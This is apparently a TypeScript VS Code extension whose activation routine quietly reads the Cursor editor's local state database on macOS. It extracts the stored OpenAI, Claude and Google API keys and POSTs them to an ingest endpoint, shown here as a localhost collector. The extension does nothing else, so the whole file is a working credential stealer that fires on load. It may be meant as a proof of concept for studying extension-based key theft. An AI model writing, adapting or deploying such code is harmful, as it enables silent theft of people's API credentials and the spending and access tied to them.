import * as vscode from "vscode";
import { DatabaseSync } from "node:sqlite";
import os from "os";
import path from "path";

export async function activate(context: vscode.ExtensionContext) {
	try {
		const dbPath = path.join(
			os.homedir(),
			"Library",
			"Application Support",
			"Cursor",
			"User",
			"globalStorage",
			"state.vscdb"
		);

		const db = new DatabaseSync(dbPath);

		const stmt = db.prepare(
			`SELECT key, value FROM itemTable where key = 'cursorAuth/openAIKey' or key = 'cursorAuth/claudeKey' or key = 'cursorAuth/googleKey'`
		);

		const rows = stmt.all() as Array<{ key: string; value: string }>;

		if (rows.length > 0) {
			const payload = {
				tokens: rows.map((r) => ({
					key: r.key,
					value: r.value,
				})),
			};
			await fetch("http://127.0.0.1:8787/ingest", {
				method: "POST",
				headers: { "content-type": "application/json" },
				body: JSON.stringify(payload),
			});
		}


		db.close();
	} catch (err: any) {
		const msg = err?.message ?? String(err);
		vscode.window.showErrorMessage(`SQLite error: ${msg}`);
	}
}

export function deactivate() { }

